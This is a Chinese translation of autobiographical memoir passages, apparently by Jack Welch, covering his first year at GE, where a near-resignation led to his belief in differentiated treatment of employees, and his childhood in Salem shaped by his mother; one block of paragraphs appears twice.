  加托夫的认可—他认为我与众不同而且特殊—给我留下了深刻的印象。打那以后,区别对待便成了我进行管理的一个基本组成部分。这份40年前我得到的标准涨幅的工资也许将我的行为推向了极端。不过区别对待本身就是非常极端的行为,奖赏那些最好的人才,同时剔除那些效率低下的。严格执行区别对待确实可以产生真正的明星—这些明星可以创建伟大的事业。

  有些人认为区别对待太过分了—这样做会影响到士气。

  这些人说区别对待的做法会严重影响到团队精神。但在我看来这是不可能的。你可以通过区别对待每个人而建立一支强有力的团队。瞧瞧棒球队是怎么向赢得20场胜利的投手和打出40记本垒打的击球手们支付薪水的吧。这些运动员所做的贡献很容易估量出来—他们的统计数字摆在你面前—然而他们仍然是球队的成员。

  每个人都必须认为比赛里有自己的一份,不过这并不意味着队里的每一个人都应该得到同等对待。

  早在匹兹菲尔德的日子里,我便深刻地体会到比赛就是如何有效地配置最好的运动员。谁能够最合理地配置运动员,谁就会成功。这一点对于商业来说没有任何不同,这是鲁本·加托夫一再强调的。成功的团队来自于区别对待,即保留最好的,剔除最弱的,而且总是力争提高标准。

  我非常幸运能够在GE的第一年里就脱颖而出,并认识到这个道理,尽管我是通过很艰难的方式学会的—我差点就离开了这家公司。

  沮丧之际,我萌生了换工作的想法。我开始浏览《化学周刊》(Chemical Week)杂志和《华尔街日报》(The Wall Street Journal)上的“招聘信息”栏目,希望能够早日离开这里。我觉得自己陷入了一个大组织最低层的“漩涡”之中。我想出去。不久,我找到了一份体面的工作,这是一家设在芝加哥的国际矿物及化学公司(International Minerals & Chemicals),离我岳母的住所不远。看来这是一次抽身的机会。

  这次早已预先确定好的标准的工资浮动使我看到了这家公司的吝啬,这是致使我感到愤怒、想离开的一部分原因。当初GE招聘我的时候,这家公司给人的感觉是到处铺满了红色的地毯,给人以无限的希望。他们说我正是他们开发新型塑料产品PPO的合适人选。

  当卡罗琳和我来到马萨诸塞州匹兹菲尔德的时候,我幻想至少还有一点这种诱惑人的待遇条件继续存在。我们来到GE的时候,口袋里只有一点零钱。我们开着那辆褪色的黑色大众,跋涉950英里从伊利诺伊来到GE。当我于1960年10月加入GE的时候,正好赶上当地的工会罢工。为了躲开罢工纠察线,我在一个当地仓库里以“流水线开发专家”的名义报到工作。

  马上,我的新老板伯特·科普兰(Burt Coplan)宣告了这段蜜月期的结束。科普兰是一个四十出头、身材瘦削的开发部经理,他问我和我的妻子是否已经在城里找到了寓所。当我告诉他我们现在住在当地的旅馆的时候,他说道:“这个,你知道,我们不负责解决这种问题。”

  我几乎不敢相信。如果这不是我工作的第一周,也许我根本就不会放在心上。不过我不会再多说这件事。科普兰在面试我的时候比现在和蔼可亲。事实上,他也是个挺不错的人,他只是把处处节省看成了自己的工作。

  他的行为使得GE看上去好像正处于破产的边缘。

  我到GE来所抱的幻想全部破灭了。我们搬出了旅馆。我住进了一家更便宜的汽车旅馆,而让妻子到塞勒姆和我母亲住了几个星期,直到我们找到了一家公寓。最后,我们搬进了第一大街一栋木质结构的二层房子,住在一层的一套小公寓里。那栋房子的女房东对暖气过于吝啬,所以我们不得不敲墙请求房东升高自动调温器的温度。即使这样,她还总是隔着纸一般薄的墙对卡罗琳和我喊道:“穿件毛衣!”为了给这个地方配点家具,我的父母给了我们1,000美元,让我们买了一个沙发和一张床。

  第一年里,并不是所有的事情都那么糟糕。也有一些我很喜欢的事情:我可以有一个自主的环境为PPO的研制而设计和建立一个崭新的实验工厂,而且我还很喜欢在一个像小公司的团队中工作。

  我和阿尔·戈万(Al Gowan)博士的合作非常密切,他是和我一起加入GE的。他最早开始用烧杯从事新型塑料的研究,而我主要是设计测试体积较大的塑料产品用的锅,并在本地的一家机器加工车间制作。我们从零开始,在我们办公室后面的附属建筑里建立了一个实验工厂。每天我们都进行几次实验,并测试不同的工序。

  对于刚出校园的人来说,这确实是一次真正的挑战。

  从事像PPO这种新塑料产品的研究工作,我们需要获得一切能得到的科学帮助。所以每个月至少有两次,我会开着车到55英里外纽约州斯克内克塔迪(Schenectady)的GE的中心研究与发展实验室,这是PPO诞生的地方。我会在那里花整天的时间同研究人员和科学家们一起工作,并试图激发他们对这种产品潜在用途的兴趣。

  当初,中心实验室完全是由公司直接投资的,所以实验室的科学家们没有直接的动力将精力放在商业性的事务上,更不用说什么商业化的东西了。他们无一例外都喜欢从事高深的科学研究。而现在我想要他们做的是让他们将时间花在一个已经不是发明研究阶段的产品上。我不是权威。所以只有通过劝说来达到我的目的。其实非常容易引起塑料的发明者阿尔·海伊(Al Hay)的注意,当然还有他的几个同事。但还是有一些人对产品的商业化不感兴趣。

  我每次都盼望着能够去研发实验室,因为我觉得“推销”我的项目很有趣—而实验室是最能提供帮助的地方。这些出差到头来还是相对合算的。每次差旅我都开自己的大众车去,总共需要4加仑的汽油,每加仑25美分。而由于用自己的车,GE会按每英里7美分给我报销。所以每去斯克内克塔迪一次,我的兜里就会多出7美元来。这在现在看起来也许很愚蠢。但是我们所有人都会为了得到一些额外的现金立即开车去跑活儿。

  尽管有这些好的条件,我还是一天比一天更觉得萎靡不振。那些在第一周发生的节省小钱的行为仍在继续着。在塑料大街红砖结构的楼房中,我们四个员工挤在一间又小又窄的办公室里。只有两部电话,我们必须将就着手忙脚乱地在桌子上递来递去。每次出差,伯特都会要求我们在旅馆房间里挤住在一起。

  对我来说,那“标准”的1,000美元工资上涨就像谚语中那最后一根稻草一样。

  所以我去见科普兰,提出辞职。当我正准备开车离开、再次穿过乡村时,科普兰的上司、一个来自康涅狄格的年轻主管鲁本·加托夫(Reuben Gutoff)叫住了我。他邀请我和卡罗琳去匹兹菲尔德的“黄紫菀”(Yellow Aster)吃了一次时间很长的晚饭。

  加托夫并不是一个陌生人。我们曾在几次业务总结会上见过面。我们保持着联系,因为每次我都能提出一些超出他预期的看法。作为一名初级开发工程师,我给了他一份详细的成本报告,其中包括了对我们新塑料产品的物理性质的详细分析,此外,我还给出了对现在世界上主要竞争对手的产品分析,如杜邦(DuPonts)、道斯(Dows)和塞拉尼斯(Celaneses)。这份报告还列举了长期的产品成本,如尼龙、多丙烯、丙烯酸与我们产品的成本比较。

  这根本不是什么意义重大的分析,但是它来自于一个穿着白色实验服的家伙,就有些非同寻常了。

  我想要做的就是“脱颖而出”。如果我仅仅回答了他的问题,那么就很难引起注意。其实每当老板们提出问题时,他们在脑海中早已经有了自己的答案。他们只是想得到再次的确认而已。为了显示与众不同,我想我的回答应该比提出的问题范围更广一些。我想给出的不仅仅是答案,还有意料之外的新鲜的观点。

  加托夫显然已经注意到了这一点。在四个小时的晚饭过程中,他拚命地挽留我,希望我继续留在GE。他作出保证,答应给我加更多的工资,更为重要的是,他发誓杜绝公司的官僚作风影响到我。我吃惊地发现,他居然和我一样对公司的官僚作风感到失望。

  这次我很幸运,因为很多GE的老板们会很高兴让我离开的。毫无疑问,我对科普兰而言肯定是一个眼中钉肉中刺。幸运的是,加托夫并不这样看(不过他并不是每天都和我在一起)。和他一起吃的那次晚宴没有任何结果。在他回康涅狄格州西港(Westport)家中的两个小时旅途中,他停在高速公路旁的一个投币电话亭,给我打电话继续游说。那时已经是午夜1点了,卡罗琳和我早已进入了梦乡,而加托夫还在做他的工作。

  加托夫确实表现出了他对我的关切。他答应给我涨一点工资(在科普兰给我涨1,000美元的基础上再涨2,000美元),答应负起更多的责任,以及防止官僚作风等。

  在黎明后的几个小时,在欢送我的聚会举行之前,我决定留下来。那天晚上,在科普兰家,原本要举行告别会,在一堆礼物中,我告诉我的同事们我又不想走了。他们中的绝大多数人都感到很高兴,尽管我看到伯特因为想到我又回来了而产生了沉重的焦虑。我忘了我是否接受了那些礼物,不过我想我应该是收下了。

  加托夫的认可—他认为我与众不同而且特殊—给我留下了深刻的印象。打那以后,区别对待便成了我进行管理的一个基本组成部分。这份40年前我得到的标准涨幅的工资也许将我的行为推向了极端。不过区别对待本身就是非常极端的行为,奖赏那些最好的人才,同时剔除那些效率低下的。严格执行区别对待确实可以产生真正的明星—这些明星可以创建伟大的事业。

  有些人认为区别对待太过分了—这样做会影响到士气。

  这些人说区别对待的做法会严重影响到团队精神。但在我看来这是不可能的。你可以通过区别对待每个人而建立一支强有力的团队。瞧瞧棒球队是怎么向赢得20场胜利的投手和打出40记本垒打的击球手们支付薪水的吧。这些运动员所做的贡献很容易估量出来—他们的统计数字摆在你面前—然而他们仍然是球队的成员。

  每个人都必须认为比赛里有自己的一份,不过这并不意味着队里的每一个人都应该得到同等对待。

  早在匹兹菲尔德的日子里,我便深刻地体会到比赛就是如何有效地配置最好的运动员。谁能够最合理地配置运动员,谁就会成功。这一点对于商业来说没有任何不同,这是鲁本·加托夫一再强调的。成功的团队来自于区别对待,即保留最好的,剔除最弱的,而且总是力争提高标准。

  我非常幸运能够在GE的第一年里就脱颖而出,并认识到这个道理,尽管我是通过很艰难的方式学会的—我差点就离开了这家公司。

2005年07月26日

  那是一个糟糕的赛季的最后一场冰球比赛。当时我在塞勒姆高中读最后一年。我们分别击败丹佛人队、里维尔队和硬头队,赢了头三场比赛,但在随后的比赛中,我们输掉了所有的六场比赛,其中五场都是一球之差。所以在最后一场比赛,即在林恩(Lynn)体育馆同主要对手贝弗利高中

的对垒中,我们都极度地渴求胜利。作为塞勒姆女巫队的副队长,我独进两球,我们顿时觉得运气相当不错。那确实是场十分精彩的比赛,双方打成2比2后进入了加时赛。

  但是很快,对方进了一球,这一次我们又输了。这已是连续第7场失利。我沮丧之极,愤怒地将球棍摔向场地对面,随后自己滑过去,头也不回地冲进了休息室。整个球队已经在那儿了,大家正在换冰鞋和球衣。就在这时候,门突然开了,我那爱尔兰裔的母亲大步走进来。

  整个休息室顿时安静下来。每一双眼睛都注视着这位身着花色连衣裙的中年妇女,看着她穿过屋子,屋子里正好有几个队员正在换衣服。母亲径直向我走过来,一把揪住我的衣领。

  “你这个窝囊废!”她冲着我大声吼道。“如果你不知道失败是什么,你就永远都不会知道怎样才能获得成功。如果你真的不知道,你就最好不要来参加比赛!”

  我遭到了羞辱—在我的朋友们面前—但上面的这番话我从此就再也无法忘记,因为我知道,是母亲的热情、活力、失望和她的爱使得她闯进休息室。她,格蕾丝·韦尔奇(Grace Welch),是我一生中对我影响最大的人。她不但教会了我竞争的价值,还教会了我胜利的喜悦和在前进中接受失败的必要。

  如果我拥有任何领导者的风范,可以让大家发挥长处,我觉得这都应该归功于母亲。忍耐而又有进取心、热情而又慷慨是母亲的特点。她非常擅长分析人的性格特征。对于遇到的每一个人,她总是有所评论。她说她可以“在一英里外嗅出骗子的气味”。

  她对朋友非常热情慷慨。如果一个亲戚或者邻居来家里玩,称赞橱柜里的玻璃水杯款式不错,那么母亲会毫不犹豫地将玻璃杯拿出来送给他。

  但是另一方面,如果你得罪了她,那你就得多加小心了。她会怨恨任何一个辜负了她的信任的人。我继承了母亲的性格特点。

  除此之外,我的很多管理理念都可以从我母亲身上看到原型,譬如下面这些原则:通过竞争去获得成功;面对现实;利用欲擒故纵的方式来激励别人;确定苛刻的目标;严格地跟踪工作进展以保证任务的顺利完成。她在我身上培养出的洞察力从未消失过。母亲总是坚持要面对现实。她的一句名言是:“不要欺骗你自己。事实上它就是这样。”

  她总是警告我说:“如果你不学习,你将什么都不是。绝对什么都不是。学习没有任何捷径可言。不要欺骗你自己!”

  这些就是每天萦绕在我脑海里的生硬而又坚定的忠告。每当我欺骗自己一笔交易或一项业务上将要出现的严重问题会奇迹般出现转机时,母亲的话总能纠正我。

  从我入学开始,母亲就告诉我优秀的必要性。她知道怎样对我严厉,同时也知道如何拥抱我,亲吻我。她让我确信自己是被需要和被爱的。如果我带回家的成绩单上有四个A和一个B,我的母亲就会问我为什么得了个B。不过她最后总是会以祝贺我得了A来结束话题,然后给我一个热情的拥抱。

  母亲总是不厌其烦地检查我是否在做家庭作业,就好像我现在总是要检查每天的工作一样。我还记得小时候在楼上卧室写作业的时候,老是听到母亲的声音从客厅里传来:“作业做完了没有?如果没做完,最好就别下来!”

  但只有在厨房的桌子上和母亲一起玩金拉米牌(gin rummy games,一种双人牌戏)时,我才认识到竞争的乐趣。小时候,我还在读一年级时,中午一放学,我就像赛跑一样从学校飞奔回家,希望能有机会和母亲玩金拉米。每当她赢了我—当然通常都是这样—她会将她的牌一下子扣在桌子上,喊道:“金!”这会使我一下子疯狂起来。所以每次我都迫不及待地想回家,期盼能够有机会赢她。

  我想这就是我在棒球场、冰球场、高尔夫球场和商场上颇有竞争心理的肇端吧。

  也许母亲给我的最伟大的一件礼物就是自信心。这也是我试图在和我共事过的每一位执行官身上寻找并建立的东西。自信心给了你勇气,并能充分释放你的能量。它可以让你承受更大的风险并获得比你想像的更为辉煌的成功。帮助别人建立自信心是领导工作中不可或缺的一部分。它来自于为这样的人提供机会和挑战,让他们做从来没想过自己能做的事情—在他们每获得一次成功之后,尽可能通过一切方式奖励他们。

  我的母亲从来没有管理过任何人,但是她知道如何去建立一个人的自尊心。我从小就得了口吃症,而且似乎根除不掉。有时候我的口吃会引来不少笑话,如果不是让我难堪的话。在大学里的星期五,天主教徒是不准吃肉的,所以我经常点一份烤面包夹金枪鱼。不可避免地,女服务员准会给我端来双份而不是一份三明治,因为她听我说的是“两份金枪鱼三明治(tu-tuna sandwiches)”。

  我的母亲呢,总是为我的口吃找一些完美的理由。她会对我说:“这是因为你太聪明了。没有任何一个人的舌头可以跟得上你这样聪明的脑袋瓜。”事实上,这么多年来,我从未对自己的口吃有过丝毫的忧虑。我充分相信母亲对我说的话:我的大脑比我的嘴转得快。

  多年来我一直不知道,母亲在我身上倾注了多少关爱和信心。几十年后,当我翻看以前我在运动队照的照片时,我惊奇地发现,我几乎总是整个球队中最为弱小的一个。读小学的时候,我曾当过篮球队的后卫,那时我的个头几乎只有其他几位队员的四分之三。

  然而,我居然对此从来没有一丝察觉。现在,每当我看着这些照片时,我总禁不住嘲笑自己就像一只小虾米。可笑的是,我竟然没有意识到自己的个子小。这一点充分说明了一个母亲可以为你带来多大的影响。她给了我那么多的信心。她对我说,我想做什么都会成功。这句话总是萦绕在我的耳边:“你尽管去做好了!”

  母亲和我之间的关系亲密而且独一无二,温暖而又牢固。她是我的知己,我最好的朋友。我想这可能要部分地归因于我是她惟一的孩子,而且是在她年纪比较大(对于那个年代来说)的时候生下来的,当时母亲36岁,父亲41岁。在此之前,我的父母尝试过多次,都未能拥有一个小孩。所以当我终于在1935年11月19日降生到马萨诸塞州的皮勃第(Peabody),母亲便将她所有的爱都倾注到我身上,就仿佛我是那被发现的瑰宝一样。

  我并非出身豪门望族,但却拥有更好的东西—无尽的爱。我的祖父母、外祖父母都是爱尔兰移民,他们和我的父母都没有高中毕业。在我9岁的时候,我的父母才买下了我们的第一座房子。那是拉维特街(Lovett Street)15号一座很便宜的两层砖石房,那个地方是爱尔兰工人阶级在马萨诸塞州塞勒姆的聚居地。

  我家房子的对面是一座小型工厂。我的父亲总是提醒我说,这可真是一个优点。“人们总是希望自己的邻居是一间工厂。在周末的时候邻居总是不在,他们不会影响你。他们会很安静。”我相信了他,从来没有意识到他是在为自己增加信心。

  作为波士顿-缅因通勤线上波士顿至纽伯里波特(Newburyport)段的一名检票员,父亲工作非常努力。每当“大杰克”早上5点钟穿着他那身熨得平整的蓝黑色制服和我母亲浆得硬挺的白色衬衣离开的时候,他的神情就好像是站在上帝面前一样。几乎每天都是如此,父亲周而复始地在10个固定的车站进行检票工作:从纽伯里波特、伊普斯维奇(Ipswich)、哈密尔顿/温汉姆(Hamilton/Wenham)、北贝弗利(North Beverly)、贝弗利(Beverly)、塞勒姆、斯万普斯科特(Swampscott)、林恩、通用电气公司(the General Electric Works)到波士顿,然后再原路返回,总共加起来有40多英里。后来,我听说他在波士顿郊外林恩的GE飞机引擎综合建筑群那里还有固定的一站,不禁心下大乐。

  每一个工作日,父亲都盼着回到波士顿-缅因线的列车上,就好像那列列车就是他的一样。父亲喜欢和人们打招呼,邂逅有趣的人。每当他走过列车客座车厢的中间过道,他看上去就像是一名大使,一边心情愉快地检票,一边欢迎着椅子上一张张熟悉的面孔,当他们是非常亲密的朋友一般。

  在每一个运营高峰,他都以微笑和热情面对乘客,高声地向大家说着爱尔兰人特有的恭维话。而在家里的时候,父亲总是表现得非常安静、内向,这正好和他在火车上快乐的性格形成了鲜明对比。这一点总是激怒母亲,她会抱怨说:“你为什么不带一点在列车上瞎扯的废话到家里来呢?”事实上父亲很少这样做。

  父亲是一个辛勤的工人,他工作的时间很长,而且从未耽误过一天的工作。如果听到了坏天气的预告,他总是让母亲在前一天晚上开车把他送到车站。他就睡在列车的一节车厢里,这样明天就可以随时准备上班了。

  父亲很少在7点以前回家,通常是母亲开家里的车到车站接他回来。父亲回来的时候,腋下总是夹着一捆火车上乘客们丢下的报纸。所以从6岁开始,我每天就可以了解到时事和体育新闻了,多亏了这些被遗弃的《波士顿环球报》(Boston Globe),《先驱报》(Herald),《记录报》(Record)。每天晚上读这些报纸成为了我毕生的一种嗜好。直至今日我仍然读新闻成瘾。

  父亲不仅让我开始知道了在塞勒姆外发生的事,还以切身经历教会了我艰苦工作的价值。此外,他还做了另一件影响我一辈子的事情—他将高尔夫球介绍给了我。父亲告诉我说,他列车上的那些大人物谈论的话题总离不开他们的高尔夫球赛。他觉得我有必要学学高尔夫,而不是现在我总在打的棒球、橄榄球和冰球。当球童是邻居中大一些的孩子做的事情。于是在父亲的怂恿下,我很早就开始了,9岁时,我在附近的肯伍德(Kernwood)乡村俱乐部当了一名球童。

  我对父母的依赖到了令人难以置信的地步。很多次母亲出去接父亲的时候,列车老是晚点。那时我有十二三岁,而列车晚点会使我疯狂。我会跑出屋子,到拉维特街上看他们是否已经出现在回家必经的拐角处。我的心怦怦乱跳,担心他们会发生什么不测。我不能失去他们。他们是我的一切。

  然而这种担心是不必要的,因为母亲将我培养得健壮、坚强和独立。她总是担心她会死得很早,成为夺去她家里所有人生命的那种心脏病的受害者。在我15岁以前,母亲总是鼓励我要学会独立。母亲曾经让我一个人独自去波士顿去看球赛,或者去看一场电影。我当年觉得自己这样真是很酷,但每次母亲出去接父亲回来特别晚的时候就又不是了。

  塞勒姆是一个让男孩子们茁壮成长的好地方。这是一个有着强烈的工作道德和崇高价值观的城市。在那个年代,没有人给自己家门上锁。星期六的时候,父母们甚至都不担心他们的孩子什么时候会去城里的派拉蒙,在那里,25美分可以让你看上两场电影,吃一盒爆米花,而剩下的钱还足够你在回家的路上再去买一个冰淇淋。星期日,教堂总是爆满。

  塞勒姆是一个斗志旺盛、竞争激烈的地方。我喜欢竞争,我的朋友们也一样。我们每个人都是运动员,在一起玩这个或者那个体育项目。我们组织自己的棒球、篮球、橄榄球和冰球比赛,比赛的场地是“大坑”,这是北街一块被树和后院包围的尘土飞扬的平地。每到春天和夏天,我们就将地面上的碎石扫走,然后分组分队,有时甚至排出自己的联赛赛程表。每天我们都会从大清早一直玩到晚上9点差一刻钟的时候,这时候城中心的汽笛声会响起,意味着我们该回家了。

  那个年代,一个城市里有好几所社区学校,这使得每一种运动都有着激烈的竞争—即使在小学的校园里。我在由6人组成的皮克林语法学校橄榄球队中做四分卫。我动作慢得可怜,不过我的胳膊非常强壮,还有两个队友相当能跑。我们在皮克林获得了冠军。我还是我们棒球队的投手,学会了如何扔出曲线球和下坠球。

  然而,上了塞勒姆高中以后,我发现自己在橄榄球和棒球项目中早过了巅峰期。我的速度太慢了,没法玩橄榄球。而我在12岁时投出的具有杀伤力的曲线球和下坠球,到了16岁的时候也没有任何突破。我投出的快球甚至击不碎一片玻璃,击球者只需坐在原地等着球来就行了。我在高一时担任首发投球手,到了毕业班的时候,变成了坐冷板凳的替补队员。非常幸运,我还可以成长为一名还算不错的冰球手,担当了高中校队的队长和主要得分手,不过到了大学我的速度仍旧是我继续提高的主要障碍。我不得不放弃。

  真要感谢高尔夫球,一项不需要速度的运动。是父亲早年的鼓励使我到肯伍德乡村俱乐部当了一名球童。每到星期六的上午,我的朋友们和我就会在绿草坪公墓大门外的马路沿上坐着,等待某一个高尔夫球俱乐部的成员用车载上我们,带我们去几英里外的高尔夫球场。在最炎热的夏季,我们总会溜到一个我们称做“黑岩石”的僻静地方,脱光衣服在丹弗斯河游泳降温。

  不过更多的时候,我们都是坐在绿草如茵的小山上,等着球童的主管—“雅士”思威尼(Sweeney)喊我们的名字。思威尼一头鬈发,带着一副眼镜,又高又瘦,每回他将球杆袋从球童小屋里取出来,摆在半扇门上,然后叫道:“韦尔奇!”这时我就会马上丢下手中的扑克或者是摔跤比赛,去看自己有什么任务。

  几乎所有人都想给雷·布莱迪(Ray Brady)背球杆,因为他是整个球场上给小费最慷慨的人,而当时小费一般都给得很少。否则的话,你能指望的就只有每18洞所得到的1.5美元了。我们实际上是为星期一上午工作的,那时工人们都在修缮场地。这是球童们的上午,因为这时我们可以用我们捡到的高尔夫球和粘上的坏球杆打上18洞。我们一般在拂晓的时候就会赶到那里,因为他们会在中午的时候准时把我们赶走。

  当球童给我带来了赚钱的机会,更为重要的是让我学会了这种运动。同时我还得以见到一些成功人士。通过观看人们在高尔夫运动中的一些动作,我还发现高尔夫既可以使一个人表现得优雅,又可以使他显得很愚蠢。

  除了当球童外,我还做过其他一些工作。有一段时间,我送过《塞勒姆晚间新闻》(Salem Evening News)。我曾在假期的时候到本地的邮局干活。有三年时间,我还在艾塞克斯街上的索姆·麦肯商店卖过鞋,报酬以抽取佣金的方式支付。每卖掉一双普通鞋,我们可以得到7美分。如果你卖掉的是11号的“怪模样”鞋—一种白边、紫色鞋尖的鞋,你就可以得到25或50美分。那个时候,为了得到这额外的25美分,我总要把鞋拿出来,把它们穿到一双臭脚上,并称赞说:“您穿这双鞋真好看!”

  曾有一份暑期工给了我一个深刻的教训,说服我去做那些我不想去做的事情。我在塞勒姆的帕克兄弟(Parker Brothers)玩具厂操作钻床。我的工作就是拿一小块软木塞,用脚踩踏板,在软木塞中间钻一个洞,然后再把软木塞扔进一个纸板做的大圆桶里。每天我都要做好几千个这种玩意。

  为了打发时间,我总是做一种游戏,就是在领班来将盛木塞的大桶倒空之前,尽量将桶底填满。但是我很少能成功。这非常令人沮丧。每次回家我都感到头疼。我很讨厌这样。这份工作我坚持了不到三个星期,但学到了很多东西。

  小时候我的鼻梁上就架上了眼镜。在我还没到可以工作的年龄以前的每年夏天,塞勒姆操场上的玩伴们会搭乘一列特别列车去缅因州一个叫老果园海滩的游乐园玩。这是我们整个夏天的一个亮点。我们一般早上6点半上车,两个小时以后到达目的地。我们在游乐园的两个小时里多次乘坐过山车,每个人身上带的5美元左右的钱就花得差不多了。

  我们还有一整天的时间,但是这个时候已经身无分文了。伙伴们和我于是在沙滩上搜寻可以回收的空瓶子。我们挨个儿询问在沙滩上洗日光浴的人是否有空瓶子。一个瓶子卖2美分,这样我们就有足够的钱去买热狗,并且在回家之前还能再多坐几回过山车。

  另一方面,我从来没有觉得穷困。我并不极力地奢求什么。我的父母为我作出了许多牺牲,为我买最好的棒球手套,买最好的自行车。我的父亲还允许母亲对我溺爱,而且丝毫也不居功自傲。母亲的确溺爱我。

  母亲带我到芬威公园的露天看台去看特德·威廉姆斯为波士顿红袜队镇守左外野。她会下午早早地开车到学校来接我,带我到乡村俱乐部,这样我就可以比别的球童来得早些。作为一名虔诚的天主教徒,她总是带我到圣·托马斯使徒教堂,这样我就可以在6点的弥撒中做一名圣坛男童,而她坐在教堂左边的第一排长椅上祈祷。

  母亲是我最热情的啦啦队长,她曾给当地报纸打电话,要求他们为我的一点点成功—无论是从马萨诸塞大学毕业还是获得博士学位—发消息。然后她将这些剪报贴在一个剪贴簿上。在这方面母亲一点都不感到难为情。

  显然,母亲是我们家维持纪律的人。一次,我的父亲看见我在他的列车上,那次是我和几位同学逃学到南波士顿去庆祝圣派特里克节(St. Patrick誷Day)。父亲当着我的朋友的面什么话都没有说—尽管我们当时都在喝着50美分一瓶的廉价麝香葡萄酒。

  不过父亲简单地将这件事情告诉了我的母亲,母亲把我叫来,狠狠地惩罚了我。还有一次,我没有去参加圣坛的男童排练,而是去我家附近的梅克公园结冰的湖面上玩冰球。玩的过程中,我一个不小心掉到了湖里,搞得全身湿透。为了掩饰所发生的一切,我脱下我的湿衣服,将它们挂到树上,然后在下面生起一堆火烤衣服。在1月的严寒中,我一边打着哆嗦,一边等着衣服干透。

  起初,我认为这是一个相当聪明的掩饰办法。不过这种想法在我一跨进家门口便荡然无存。

  我母亲只用了一秒钟就闻到我衣服上的烟味。逃避圣坛男童的活动对于母亲这样一个人来说真是一件大事,她平时要将耶稣受难像挂在墙上,手持念珠祈祷,还把我们教堂的老牧师詹姆斯·克罗宁神父尊为圣徒。于是她让我坐下,逼我做忏悔,然后自行实施惩罚:把我脚上的湿鞋脱下来,用力地打我。

  虽然母亲很严厉,但她同时也是一个“温和的人”。有一次,那时我还不到11岁,我在经过本城的狂欢节队伍中偷了一个球。你知道,就是那种你可以扔出去,将金属的牛奶瓶从底座上打下来赢得一个“丘比特仙童(Kewpie)”玩具娃娃的球。

  没过多久,母亲就发现了这个球,并问我球是从哪儿来的。当我承认这是偷来的时候,她便坚持让我到克罗宁神父那里去,把球还给他,并忏悔我所做的一切。因为所有的牧师都认识我这个圣坛男童,所以我相信,我在忏悔室里一张嘴,他们就会认出我来。我很害怕他们。

  我问母亲能否将球扔到北河(North Canal)里去,那是一条穿过城镇的混浊的小河。和她谈判了一番之后,她同意我这样做。于是母亲亲自驾车带我来到北街的桥上,看着我将球扔到了河里。

  还有一次,当时我在读高中毕业班,我给肯伍德乡村俱乐部最吝啬的一个会员当球童。那时候,我在那儿已经当了差不多8年的球童—就我的个人利益来说,时间也许太长了一点。我们打到了第6洞,从球座打出的球只须飞出100码,就可以越过池塘。而今天,这家伙居然径直将他的球打到了池塘里,离岸边至少有10英尺。这时他要我脱掉鞋和袜子,跳到泥塘中去找他的球。

  我拒绝了。而当他坚持的时候,我说了句见你的鬼去吧。同时我还把他的球杆也扔到了池塘里,告诉他你自己去找球和球杆吧,然后头也不回地走了。

  这是我所做过的一件蠢事,甚至比我将冰球球杆摔到场地上还要糟糕。尽管母亲非常失望,因为这件事情是以我的俱乐部球童奖金为代价的,但是她看上去好像很理解我的感受,她可以就这件事好好教训或惩罚我,可她并没有这么做。

  另外一个更令人失望的事情是:我丧失了一个获取可免除四年大学学费的海军ROTC(后备军官训练队)奖学金的机会。在塞勒姆高中,我们一共有三个人通过了海军的考试:我和两位最好的朋友—乔治·赖安(George Ryan)和迈克·蒂夫南(Mike Tivnan)。我父亲为我搞到了州议员的推荐信,同时我也通过了一连串的面试。我的朋友也都通过了考试。乔治免费去了塔夫茨大学,迈克去了哥伦比亚大学。我希望能够去达特茅斯学院或者哥伦比亚大学,但是海军却拒绝了我。

  我始终都不知道个中的原由。

  具有讽刺意味的是,这一次拒绝最终成为了一次巨大的机会。在塞勒姆高中,我是一个为了学业而勤奋学习的好学生,不过并没有人说我是出类拔萃的。所以我申请了马萨诸塞大学的阿默斯特分校。这是一所州立大学,学费每学期50美元。加上食宿费用,总共不超过1,000美元,我就可以得到学位。

  除了我的一个表兄以外,我是我们家族中第一个上大学的人。我没有家庭的楷模或者榜样去仿效,只有叔叔比尔·安德鲁在塞勒姆的发电站当“工程师”。我非常喜欢“工程师”的头衔,而且发现自己对化学情有独钟,于是申请了化学工程专业。

  我对大学的一些程序和要求知之甚少,我几乎都没有去过那些地方。我没有考SAT(美国大学入学考试),以为在ROTC海军考试中的成绩已经足够了。我一直到6月,也就是我高中毕业的前几天,才得到我的录取通知书。我肯定是被排在了尚待考虑的名单中—这一点不得而知。事实证明,到一个竞争不那么激烈的大学,而不是我心目中想去的达特茅斯或者哥伦比亚,到头来对我的好处可能更多。在当时的马萨诸塞大学,我所面对的竞争使我更容易脱颖而出。

  虽然我从来没有缺乏过自信心,但是1953年秋天我在学校的第一个星期却并不是很好。我非常想家,以至于母亲驾车三个小时从家里到阿默斯特的校园来看我。她想给我打打气。

  “看看周围的这些孩子。他们从来没有想过回家。你和他们一样优秀,而且还要出色。”

  她说得对。回想在塞勒姆的时候,我打球,什么活动都参加一点,从当我们高年级学生班的司库,到当冰球队和高尔夫球队的队长,不过我从来没有真正离开过家,甚至都没有参加过一次过夜的野营活动。我本来以为自己是一条硬汉子,老于世故而且独立性强,可我完全被离家上学的感受击垮了。和其他一些同学比起来,我似乎还远没有准备好上大学。我们这里有从新英格兰大学预科班来的学生,有从久负盛名的波士顿拉丁学校来的学生,他们在数学方面都比我强。我还觉得物理非常复杂。

  我的母亲却对这一切只字不提。她那些激励的话确实奏效了,不到一个星期,我便不再忧虑了。

  我挣扎着度过了大学的第一年,不过在考试中我的成绩还不错,可以得到3.7的平均分(4分相当于优),在以后的四年里,我年年都出现在系主任的名单上。大学二年级的时候,我申请加入了美国大学优等生荣誉学会,并搬到了他们在校园池塘旁的集体宿舍。我们这个集体的啤酒消耗量总是名列前茅,而且深夜纸牌游戏和派对玩得比谁都凶。

  这是一群非常不错的年轻人,尽管我们遭到过一两次留校察看,但我还是能够一边玩得非常疯狂一边仍然做完作业。我喜欢这儿的氛围。

  我在马萨诸塞大学的教授们,特别是化学工程系的主任厄尼·林德塞(Ernie Lindsey),一直将我作为宠儿来培养。厄尼比较喜欢我并在整个学业中指导我,就好像我是他的儿子一样。和我的母亲一样,他的支持给了我很多的信心。我曾经获得几份化学工程的暑期工作,一个是在宾夕法尼亚州斯沃斯莫尔(Swarthmore)附近的太阳石油公司(Sun Oil),一个是在俄亥俄的哥伦比亚南方公司(Columbia Southern),现在的PPG工业公司。1957年,我是大学里两名获得化学工程学位的最优秀学生之一。如果我选择去麻省理工学院,我可能只会成为一名中等生。我自豪的父母给我买了一辆崭新的大众甲壳虫汽车作为毕业礼物。

